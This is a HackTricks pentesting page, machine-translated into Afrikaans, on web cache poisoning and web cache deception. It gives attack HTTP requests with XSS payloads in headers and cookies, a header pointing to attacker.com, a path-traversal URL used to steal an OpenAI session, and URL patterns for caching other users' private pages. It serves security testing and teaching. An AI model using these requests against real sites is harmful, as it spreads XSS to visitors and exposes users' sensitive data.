# Cache Vergiftiging en Cache Misleiding
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} ## Die verskil > **Wat is die verskil tussen web-kasvergiftiging en web-kas-misleiding?** > > * In **web-kasvergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die kas stoor, en hierdie inhoud word van die kas na ander aansoekgebruikers bedien. > * In **web-kas-misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas. ## Kas Vergiftiging Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy besoek tydens die tydperk van kasbesoedeling. Die uitvoering van 'n kasvergiftigingsaanval behels verskeie stappe: 1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die kas gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die kas te manipuleer. 2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel. 3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy besoek terwyl die kas vergiftig is, die besoedelde reaksie ontvang. ### Ontdekking: Kontroleer HTTP-koppe Gewoonlik, wanneer 'n reaksie in die kas **gestoor is**, sal daar 'n **kop aandui** wees, jy kan nagaan op watter koppe jy moet let in hierdie pos: [**HTTP Kas-koppe**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Ontdekking: Kasfoutkodes As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaalweg te benader en as die **reaksie 'n 400-statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer). Jy kan meer opsies vind in: {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} Let egter daarop dat **soms hierdie soorte statuskodes nie in die kas gestoor word** nie, dus kan hierdie toets onbetroubaar wees. ### Ontdekking: Identifiseer en evalueer ongekenmerkte insette Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai: ```markup ``` ### Lokaliseer 'n skadelike reaksie van die agterste bediener Met die geïdentifiseerde parameter/header, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die header affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...) ### Kry die reaksie gekas Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**header** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekas kry. Afhangende van die bron wat jy in die kas probeer kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\ Die header **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekas is nie en die waarde **`hit`** wanneer dit gekas is.\ Die header **`Cache-Control`** is ook interessant om te weet of 'n bron gekas word en wanneer die volgende keer sal die bron weer gekas word: `Cache-Control: public, max-age=1800`\ 'n Ander interessante header is **`Vary`**. Hierdie header word dikwels gebruik om **addisionele koppe** aan te dui wat as **deel van die kas sleutel** hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\ 'n Ander header wat verband hou met die kas is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was. Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die **slagoffer sal daardie selfde kop** moet gebruik. Toets altyd 'n Kaskasvergiftiging met **verskillende webblaaier** om te sien of dit werk. ## Uitbuiting Voorbeelde ### Maklikste voorbeeld 'n Header soos `X-Forwarded-For` word ongesaniteer weerspieël in die reaksie.\ Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` _Noot dat dit 'n versoek na `/en?region=uk` sal vergiftig en nie na `/en` nie_ ### Cache vergiftiging vir DoS {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} ### Gebruik van webkache-vergiftiging om koekiehanteringskwesbaarhede te benut Koekies kan ook weerspieël word in die respons van 'n bladsy. As jy dit kan misbruik om byvoorbeeld 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte benut wat die bose kache-respons laai. ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Merk op dat as die kwesbare koekie baie deur die gebruikers gebruik word, sal gereelde versoeke die cache skoonmaak. ### Cache vergiftiging met padtraversal om API-sleutel te steel [**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` gelaai sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het. ### Gebruik van meervoudige koppe om webkachevergiftigingskwesbaarhede te benut Soms sal jy **verskeie ongesleutelde insette moet benut** om 'n kache te misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy deur die herleiing gewys word. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` ### Uitbuiting met beperkte `Vary`-kop Indien jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik: ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` ### Vet Kry Stuur 'n GET versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die tuisbediener die een uit die URL kies, sal enigeen wat daardie URL benader eintlik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle by die Github-webwerf gevind het: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com Content-Type: application/x-www-form-urlencoded Content-Length: 22 report=innocent-victim ``` Daar is 'n portswigger-lab oor hierdie: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Versteek Byvoorbeeld is dit moontlik om **parameters** in ruby-bedieners te skei deur die karakter **`;`** te gebruik in plaas van **`&`**. Dit kan gebruik word om nie-gekenmerkte parameterwaardes binne gekenmerkte waardes te plaas en dit te misbruik. Portswigger-lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkelary Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Geoutomatiseerde toetsing vir Web Cache-vergiftiging Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar. Voorbeeldgebruik: `wcvs -u example.com`
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} ## Kwesbare Voorbeelde ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (ignorerend die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne nie, net gasheer, pad en navraag. ### GitHub CP-DoS Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte reaksie geaktiveer. Die cache-sleutel het die koekie bevat, sodat dit moontlik was om net aanvalle op ongeagte gebruikers uit te voer. ### GitLab + GCP CP-DoS GitLab gebruik GCP-emmers om statiese inhoud te stoor. **GCP-emmers** ondersteun die **kop `x-http-method-override`**. Dit was dus moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë reaksie liggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun. ### Rak Middleware (Ruby on Rails) In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die **`x-forwarded-scheme`**-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301-omleiding na dieselfde plek plaas, wat moontlik 'n Diensofverlening (DoS) aan daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die `X-forwarded-host`-kop erken en gebruikers na die gespesifiseerde gasheer omleid. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou. ### 403 en Stoor-emmers Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoor-emmers met ongeldige Toestemmingskoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens. ### Injeksie van Gekenmerkte Parameters Cache sluit dikwels spesifieke GET-parameterwaardes in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekings gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. Die URL-kodering van die tweede `grootte`-parameter het tot sy uitsluiting deur die cache gelei, maar sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het 'n kiesbare 400 Foutversoek-fout tot gevolg gehad. ### Gebruikeragentreëls Sommige ontwikkelaars blokkeer versoekings met gebruikers-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring. ### Onwettige Kopvelvelde Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort idealiter 'n 400 Foutversoek-reaksie te aktiveer. In die praktyk hou bedieners nie altyd aan hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die `cache-control`-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, sou lei tot 'n kiesbare 400 Foutversoek-fout. ### Nuwe koppe vind [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Bedrog Die doel van Cache Bedrog is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**. Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal, kan jy daardie inhoud van ander gebruikers **steel**. Ander dinge om te toets: * _www.example.com/profile.php/.js_ * _www.example.com/profile.php/.css_ * _www.example.com/profile.php/test.js_ * _www.example.com/profile.php/../test.js_ * _www.example.com/profile.php/%2e%2e/test.js_ * _Gebruik minder bekende uitbreidings soos_ `.avif` 'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggebring word en die cache-bediener gaan die resultaat stoor.\ Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaier toegang en die **vertroulike inligting** van die gebruikers wat voorheen toegang gekry het, waarneem. Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) te **stoor** en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is). Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Outomatiese Gereedskap * [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skander om webkessievergiftigingskwetsbaarhede in 'n lys van URL's te vind en om verskeie inspuitingstegnieke te toets. ## Verwysings * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) * [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) * [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712) * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\ Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.